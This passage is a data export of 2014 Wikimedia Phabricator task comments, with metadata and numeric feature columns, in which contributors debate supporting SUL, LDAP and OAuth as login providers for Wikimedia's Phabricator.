+1 toSCREEN_NAME.  If Wikimedia OAuth[12] is ready by Day 1, that would be awesome, but what's the harm in allowing for example Google accounts as well?"
116,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**gpaumier** wrote on `2014-05-10 08:56:08 (UTC)`

I wouldn't close the door on other (external) identity providers. Wikimedia credentials make a lot of sense for most of our current audience (MediaWiki developers and Wikimedia editors); but since we're discussing increasing the number of partnerships with other organizations (upstream, downstream, software user groups, etc.), it would make sense to let them use existing credentials from another identity provider (the usual suspects being Google, Persona, GitHub, OpenID, etc.) instead of having them create an account on Wikimedia sites that they don't have any use for.

tl;dr: Using Wikimedia credentials as primary identity provider sounds good, but if it's possible to keep others without too much overhead, I think there would be value in leaving that door open.",,,1410484843,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1.5,0.0,0.0,0.0,1.0,8.5,0.0,0.0,0.0,0.5,2.0,1.5,0.0,0.0,0.5,2.0,1.0,3.0,11.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,1.0,0.0,1.5,0.5,3.5,2.5,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,2.5,0.0,0.0,0.5,0.0,0.0,14.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,3.0,1.5,7.5,2.0,1.5,4.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,5.0,11.0,5.5,0.0,0.0,0.0,5.0,0.0,0.0,1.0,1.0,3.5,0.5,0.5,2.5,4.3374716001298275,0.7964946445959105,"**gpaumier** wrote on CODE

I wouldn't close the door on other (external) identity providers. Wikimedia credentials make a lot of sense for most of our current audience (MediaWiki developers and Wikimedia editors); but since we're discussing increasing the number of partnerships with other organizations (upstream, downstream, software user groups, etc.), it would make sense to let them use existing credentials from another identity provider (the usual suspects being Google, Persona, GitHub, OpenID, etc.) instead of having them create an account on Wikimedia sites that they don't have any use for.

tl;dr: Using Wikimedia credentials as primary identity provider sounds good, but if it's possible to keep others without too much overhead, I think there would be value in leaving that door open."
115,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-05-10 08:45:01 (UTC)`

https://www.mediawiki.org/wiki/Requests_for_comment/Phabricator/Plan#General says:

> Users log in to Phabricator with their Wikimedia credentials.

Can we close this task agreeing that this is the provider selected? Wikimedia credentials, no less, no more.",,,1410484843,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,5.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,8.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,3.4864864864864864,0.7837837837837838,"**qgil** wrote on CODE

URL says:

QUOTE

Can we close this task agreeing that this is the provider selected? Wikimedia credentials, no less, no more."
114,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mattflaschen** wrote on `2014-05-06 00:49:54 (UTC)`

> For people without a SUL account, we could even consider creating one when they create an account on Phabricator.

Before I was thinking that people could create a Phabricator account (using the normal Phabricator account creation flow), then we would create a CentralAuth account behind the scenes.

But if our OAuth flow allows creating accounts just prior to authorization (which it seems like it does, if you explicitly click Join MediaWiki), that's not necessary.",,,1410484843,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,1.0,0.0,6.0,1.0,3.0,1.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,16.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,14.0,4.0,1.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,10.0,5.0,0.0,0.0,0.0,8.0,0.0,1.0,3.0,0.0,4.0,0.0,0.0,0.0,4.363636363636363,0.7402597402597403,"**mattflaschen** wrote on CODE

QUOTE

Before I was thinking that people could create a Phabricator account (using the normal Phabricator account creation flow), then we would create a CentralAuth account behind the scenes.

But if our OAuth flow allows creating accounts just prior to authorization (which it seems like it does, if you explicitly click Join MediaWiki), that's not necessary."
113,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**csteipp** wrote on `2014-04-30 19:40:52 (UTC)`

Just a minor update, it looks like Phabricator supports twitter and jira OAuth 1 providers. It looks like it would be fairly simple to integrate mediawiki's OAuth 1 provider as an auth plugin, if we don't want to wait on using OAuth2. (note to future self, it looks like we can call and verify mediawiki's /identify method in the getAccountID() call)",,,1410484842,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,5.0,13.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,6.0,1.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,9.0,1.0,2.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,7.0,13.0,9.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,3.8292682926829267,0.7073170731707317,"**csteipp** wrote on CODE

Just a minor update, it looks like Phabricator supports twitter and jira OAuth 1 providers. It looks like it would be fairly simple to integrate mediawiki's OAuth 1 provider as an auth plugin, if we don't want to wait on using OAuth2. (note to future self, it looks like we can call and verify mediawiki's /identify method in the getAccountID() call)"
112,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-04-30 17:23:18 (UTC)`

Alright, this means that

* users logged in to e.g. mediawiki.org will not be automatically logged in to Wikimedia Phabricator
* but users with an account in e.g. mediawiki.org will be able to log in to Wikimedia Phabricator with the same credentials

This scenario requires that we support OAuth 2.0 in the Wikimedia cluster, which is not a trivial task.

What do you think about making this a blocker for the Wikimedia Phabricator deployment? The benefits would be huge, but the commitment to deliver this feature is expensive. It seems to be one of those features that would need to be enabled since day 1, although maybe there is another sensible, more flexible scenario. It would be also good to know if anybody else would benefit from having OAuth 2.0 implemented in Wikimedia servers.

In any case, I will link this task with the need for proper resourcing.",,,1410484842,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.5,0.5,0.0,1.0,1.0,5.5,2.5,0.0,0.5,0.5,4.5,0.0,0.0,0.0,0.5,1.0,0.5,5.0,15.5,0.5,3.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,1.5,1.0,0.5,0.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.5,1.0,9.5,0.5,2.5,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,4.5,5.0,10.0,2.5,1.0,9.5,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.5,15.5,6.0,0.5,0.0,0.0,2.5,0.0,1.5,1.5,0.0,1.0,0.5,0.0,1.0,4.2701149425287355,0.6954022988505747,"**qgil** wrote on CODE

Alright, this means that

* users logged in to e.g. mediawiki.org will not be automatically logged in to Wikimedia Phabricator
* but users with an account in e.g. mediawiki.org will be able to log in to Wikimedia Phabricator with the same credentials

This scenario requires that we support OAuth 2.0 in the Wikimedia cluster, which is not a trivial task.

What do you think about making this a blocker for the Wikimedia Phabricator deployment? The benefits would be huge, but the commitment to deliver this feature is expensive. It seems to be one of those features that would need to be enabled since day 1, although maybe there is another sensible, more flexible scenario. It would be also good to know if anybody else would benefit from having OAuth 2.0 implemented in Wikimedia servers.

In any case, I will link this task with the need for proper resourcing."
111,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**csteipp** wrote on `2014-04-29 15:57:38 (UTC)`

Supporting ""SUL"" might be problematic, depending on the definition. If you're thinking sharing cookies with CentralAuth, I would generally discourage this. We currently can tolerate minor security issues (e.g., XSS that only affects older IE) on Bugzilla because we're not sharing authentication. If we do share authentication, then it becomes a liability for us.

The current OAuth extension doesn't support OAuth2 yet. I'll try and figure out what flows phabricator needs, and if that's one we're likely to support.",,,1410484842,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,2.0,3.5,0.5,1.0,0.0,2.5,0.5,4.0,0.0,0.5,0.0,5.5,0.5,5.5,8.0,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,1.0,1.5,0.0,7.5,0.5,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,0.0,0.0,4.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,2.5,0.5,10.0,3.0,2.0,3.5,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,7.0,8.0,4.5,0.0,1.0,0.0,7.0,0.0,1.5,1.0,1.0,3.0,0.5,0.0,0.0,4.218181818181819,0.8272727272727273,"**csteipp** wrote on CODE

Supporting ""SUL"" might be problematic, depending on the definition. If you're thinking sharing cookies with CentralAuth, I would generally discourage this. We currently can tolerate minor security issues (e.g., XSS that only affects older IE) on Bugzilla because we're not sharing authentication. If we do share authentication, then it becomes a liability for us.

The current OAuth extension doesn't support OAuth2 yet. I'll try and figure out what flows phabricator needs, and if that's one we're likely to support."
110,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-04-29 00:29:52 (UTC)`

> For people without a SUL account, we could even consider creating one when they create an account on Phabricator.

+1 because in practice this means that we support Wikimedia SUL only. Simple.

> It would be good to also import the existing Bugzilla users, but I'm not sure how feasible that is.

It is probably better to let them register with SUL and then claim their email addresses via http://fab.wmflabs.org/settings/panel/email/

I'm not sure whether this would connect automatically their usernames with the bugs & comments imported and associated with their email addresses. It is something to consider when planning the migration. Related: T39#27.",,,1410484841,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,1.0,0.0,0.0,1.0,7.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,2.0,0.0,7.0,13.0,1.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,2.0,15.0,5.0,3.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,13.0,5.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,4.313953488372093,0.7093023255813954,"**qgil** wrote on CODE

QUOTE

+1 because in practice this means that we support Wikimedia SUL only. Simple.

QUOTE

It is probably better to let them register with SUL and then claim their email addresses via URL

I'm not sure whether this would connect automatically their usernames with the bugs & comments imported and associated with their email addresses. It is something to consider when planning the migration. Related: T39#27."
109,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mattflaschen** wrote on `2014-04-29 00:08:29 (UTC)`

> Even if at the beginning I was quite enthusiastic about using many providers, maybe it makes sense to use only Wikimedia SUL / LDAP?

I think Wikimedia SUL, plus local signup, may be enough going forward, especially if [SUL finalization](https://en.wikipedia.org/wiki/Wikipedia:Unified_login/Finalization) is done by then.  I think most people with a Wikitech/LDAP login also have a login on the main projects (SUL), and if not, this is a good time to get one.

For people without a SUL account, we could even consider creating one when they create an account on Phabricator.  I'm not sure how troublesome that would be on the CentralAuth side.

It would be good to also import the existing Bugzilla users, but I'm not sure how feasible that is.",,,1410484841,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.5,2.0,6.5,2.5,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,3.5,0.0,8.5,8.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,1.5,0.0,5.5,2.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,8.0,0.5,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.5,0.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,5.0,4.0,11.0,3.5,2.0,7.0,0.0,0.0,0.0,0.0,4.5,0.0,1.5,0.0,5.0,8.0,6.5,0.0,0.0,0.0,5.0,0.0,2.5,3.0,0.0,2.0,0.0,0.5,0.5,3.6969696969696972,0.7196969696969697,"**mattflaschen** wrote on CODE

QUOTE

I think Wikimedia SUL, plus local signup, may be enough going forward, especially if [SUL finalization](URL is done by then.  I think most people with a Wikitech/LDAP login also have a login on the main projects (SUL), and if not, this is a good time to get one.

For people without a SUL account, we could even consider creating one when they create an account on Phabricator.  I'm not sure how troublesome that would be on the CentralAuth side.

It would be good to also import the existing Bugzilla users, but I'm not sure how feasible that is."
108,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-04-21 19:06:20 (UTC)`

Finding out that someone else got Qgil (SUL) / QuimGil (LDAP) with obscure intentions would be kind of awkward, but how big of a problem would this be? I would still be the only one able to connect with my account the email addresses that describe my activity in Bugzilla and Git/Gerrit. 

Maybe we can populate the table of usernames with SUL / LDAP in order to minimize this problem?

It looks like we could just disable the ""Username/Password"" provider in the Wikimedia Phabricator instance, forcing users to create accounts through their Wikimedia LDAP or SUL accounts.

LDAP accounts have username and email address, both required in Phabricator. If we could pre-fill our Ph table of users with the LDAP data, that would bring us a long way. LDAP users would only need to reset their passwords and log in.

Is SUL also requiring email address? Email is still optional in Wikimedia sites. What would happen if a user without email defined in their SUL account wants to log in for the first time to Phabricator?

Phabricator users can add email addresses to their account. I wonder if this option could be used to associate your contributions to Bugzilla, Git, and Gerrit to your Ph account.

Wikimedia Google accounts... I don't see the benefit, This is in fact the service I used to register with my wikimedia.org account in http://secure.phabricator.com , but in our context here any WMF employee is expected to have a Wikimedia SUL account (and anybody in the Engineering department should have a LDAP account as well). Even if at the beginning I was quite enthusiastic about using many providers, maybe it makes sense to use only Wikimedia SUL / LDAP?",,,1410484840,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.5,0.5,0.0,0.5,0.25,2.75,1.25,0.0,0.0,1.0,3.5,0.25,0.0,0.75,0.0,3.75,0.0,5.0,12.25,0.5,2.5,0.25,0.0,0.0,1.0,0.5,0.0,0.0,1.25,1.5,0.0,3.0,1.25,0.5,0.5,0.5,0.0,0.0,0.25,0.75,0.0,1.0,0.0,1.25,0.0,0.0,0.0,0.25,0.0,14.0,0.75,0.75,0.5,0.25,0.5,0.25,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.25,0.0,4.25,2.5,14.75,1.5,2.0,6.0,0.0,0.0,0.0,0.0,6.5,0.0,0.25,0.0,5.75,12.25,9.5,1.25,0.5,0.0,5.75,0.0,1.0,1.25,0.25,1.0,0.0,0.0,0.25,4.084208683473389,0.7210434173669468,"**qgil** wrote on CODE

Finding out that someone else got Qgil (SUL) / QuimGil (LDAP) with obscure intentions would be kind of awkward, but how big of a problem would this be? I would still be the only one able to connect with my account the email addresses that describe my activity in Bugzilla and Git/Gerrit. 

Maybe we can populate the table of usernames with SUL / LDAP in order to minimize this problem?

It looks like we could just disable the ""Username/Password"" provider in the Wikimedia Phabricator instance, forcing users to create accounts through their Wikimedia LDAP or SUL accounts.

LDAP accounts have username and email address, both required in Phabricator. If we could pre-fill our Ph table of users with the LDAP data, that would bring us a long way. LDAP users would only need to reset their passwords and log in.

Is SUL also requiring email address? Email is still optional in Wikimedia sites. What would happen if a user without email defined in their SUL account wants to log in for the first time to Phabricator?

Phabricator users can add email addresses to their account. I wonder if this option could be used to associate your contributions to Bugzilla, Git, and Gerrit to your Ph account.

Wikimedia Google accounts... I don't see the benefit, This is in fact the service I used to register with my wikimedia.org account in URL , but in our context here any WMF employee is expected to have a Wikimedia SUL account (and anybody in the Engineering department should have a LDAP account as well). Even if at the beginning I was quite enthusiastic about using many providers, maybe it makes sense to use only Wikimedia SUL / LDAP?"
107,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**Krenair** wrote on `2014-04-21 17:38:17 (UTC)`

@qgil: As we can have multiple different identity sources, I think it would make sense to support most of the major ones Wikimedia uses, so:
* CA/SUL (most public wikis)
* LDAP used for Wikitech/Labs/Gerrit
* Wikimedia Google accounts (mostly for staff)

@robla: Hmm... Maybe it should require the SUL name, but why not another system instead?",,,1410484840,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,7.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,20.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,5.0,7.0,15.0,1.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,3.6818181818181817,0.7159090909090909,"**Krenair** wrote on CODE
SCREEN_NAME: As we can have multiple different identity sources, I think it would make sense to support most of the major ones Wikimedia uses, so:
* CA/SUL (most public wikis)
* LDAP used for Wikitech/Labs/Gerrit
* Wikimedia Google accounts (mostly for staff)
SCREEN_NAME: Hmm... Maybe it should require the SUL name, but why not another system instead?"
106,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**robla** wrote on `2014-04-21 17:20:36 (UTC)`

The fact that Phabricator lets you bind to multiple authentication providers is kinda awesome, and is going to simplify many things.  However, we still have one complicating factor here, which is that the actual user identifiers are first come, first serve.  So, if I happen to be first, I could register ""qgil"" as my username, then associate that account with ""User:RobLa"" on Wikipedia.  The system is really none-the-wiser; it would happily give me ""qgil"" or ""jimbo"" or whatever I want.

Some things can be fixed after the fact by renaming users (Phabricator supports this), but there are [[ https://secure.phabricator.com/diffusion/P/browse/master/src/applications/people/controller/PhabricatorPeopleRenameController.php;28696d08ac424116e02c21ab071d0d6005184eb3$61 | ample disclaimers in the ""Change Username"" interface]] such that it's pretty clear leaning on it too heavily is fraught with danger.  We may need to force authentication through SUL in order to claim a username in use on the projects, which may require some Phabricator customization to pull off well. ",,,1410484840,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1.0,0.0,0.0,0.6666666666666666,0.0,3.6666666666666665,1.3333333333333333,0.0,0.0,0.3333333333333333,2.0,0.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.3333333333333333,5.333333333333333,10.0,0.3333333333333333,2.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,5.333333333333333,0.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,1.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,11.666666666666666,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,3.0,3.3333333333333335,7.666666666666667,1.3333333333333333,1.3333333333333333,5.333333333333333,0.0,0.0,0.0,0.0,4.666666666666667,0.0,0.3333333333333333,0.0,4.0,10.0,2.3333333333333335,0.0,3.6666666666666665,0.0,4.0,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,3.83647936786655,0.7873865964296166,"**robla** wrote on CODE

The fact that Phabricator lets you bind to multiple authentication providers is kinda awesome, and is going to simplify many things.  However, we still have one complicating factor here, which is that the actual user identifiers are first come, first serve.  So, if I happen to be first, I could register ""qgil"" as my username, then associate that account with ""User:RobLa"" on Wikipedia.  The system is really none-the-wiser; it would happily give me ""qgil"" or ""jimbo"" or whatever I want.

Some things can be fixed after the fact by renaming users (Phabricator supports this), but there are [[ URL | ample disclaimers in the ""Change Username"" interface]] such that it's pretty clear leaning on it too heavily is fraught with danger.  We may need to force authentication through SUL in order to claim a username in use on the projects, which may require some Phabricator customization to pull off well. "
105,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-04-21 17:04:58 (UTC)`

Wikimedia Unified Login should be certainly part of the mix. Do we want to add compatibility with LDAP Wikitech accounts? 

If I read the documentation correctly, user can merge these different identities under their Phabricator username. This would support these likely cases:

* Wikimedia user @WikiEnthusiastic creates an account in Phabricator, and then discovers that their Wikimedia credentials would have been enough. After logging again through Wikimedia SUL, he is able to //merge// both under the same identity.
* Wikimedia developer is known as HelpfulMary in Wikimedia projects, as HelpfulMaryDev in Wikitech-Gerrit-Labs, and a helpful@mary.org in Bugzilla. She can claim her previous work under a single Phabricator ID.",,,1410484839,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.5,0.0,5.0,1.5,0.0,0.0,0.5,4.0,0.0,0.0,0.0,0.0,1.0,0.0,2.5,11.5,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,3.5,1.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.5,1.5,0.0,1.5,0.0,0.0,0.5,10.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,2.5,17.5,1.0,2.0,5.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,4.5,11.5,12.5,0.5,0.0,0.0,4.5,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,4.720588235294118,0.8014705882352942,"**qgil** wrote on CODE

Wikimedia Unified Login should be certainly part of the mix. Do we want to add compatibility with LDAP Wikitech accounts? 

If I read the documentation correctly, user can merge these different identities under their Phabricator username. This would support these likely cases:

* Wikimedia userSCREEN_NAME creates an account in Phabricator, and then discovers that their Wikimedia credentials would have been enough. After logging again through Wikimedia SUL, he is able to //merge// both under the same identity.
* Wikimedia developer is known as HelpfulMary in Wikimedia projects, as HelpfulMaryDev in Wikitech-Gerrit-Labs, and a helpful@mary.org in Bugzilla. She can claim her previous work under a single Phabricator ID."
104,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-04-21 02:22:07 (UTC)`

Demonstrating Wikimedia SSO would be useful already in this instance, as part of the Phabricator RfC. Is it difficult to set up?",,,1410484839,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,18.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,21.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,18.0,9.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.878787878787879,0.9090909090909091,"**qgil** wrote on CODE

Demonstrating Wikimedia SSO would be useful already in this instance, as part of the Phabricator RfC. Is it difficult to set up?"
103,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**Krenair** wrote on `2014-04-20 16:29:21 (UTC)`

Why don't we have both LDAP and Wikimedia CentralAuth (via OAuth2) as possible auth providers?",,,1410484839,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,14.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.8928571428571429,"**Krenair** wrote on CODE

Why don't we have both LDAP and Wikimedia CentralAuth (via OAuth2) as possible auth providers?"
102,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-04-04 06:41:06 (UTC)`

https://secure.phabricator.com/book/phabricator/article/configuring_accounts_and_registration/

Alright, so many identificator providers may coexist. We could create one for Wikimedia (could we or would it make sense to add another one for Wikitech?), and then it is really up to us to add GitHub, Google, Facebook, Amazon, Persona... Once you have created your account, you can add more identifiers.

It is still unclear to me how can you ""claim"" the email addresses used in your patches and bug reports, in order to get those patches and tasks related to your username, but maybe this is a separate task?",,,1410484838,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.5,0.0,0.0,0.0,0.0,3.5,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,2.5,0.0,4.0,8.5,0.0,2.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,3.0,0.5,0.0,3.0,0.5,2.0,4.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,12.5,1.0,1.0,0.0,2.0,1.0,1.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,2.0,7.5,1.5,3.5,4.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,9.0,8.5,5.0,1.5,1.5,0.0,9.0,0.0,1.0,1.0,1.5,0.0,1.0,0.0,0.0,3.6957650273224045,0.7521857923497268,"**qgil** wrote on CODE

URL

Alright, so many identificator providers may coexist. We could create one for Wikimedia (could we or would it make sense to add another one for Wikitech?), and then it is really up to us to add GitHub, Google, Facebook, Amazon, Persona... Once you have created your account, you can add more identifiers.

It is still unclear to me how can you ""claim"" the email addresses used in your patches and bug reports, in order to get those patches and tasks related to your username, but maybe this is a separate task?"
101,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-04-03 23:39:00 (UTC)`

Without having a clue about the possibilities, something like this would be ideal:

  - existing Wikimedia users could just use SSO
  - new users (or whoever wants a separate username) could create an account here
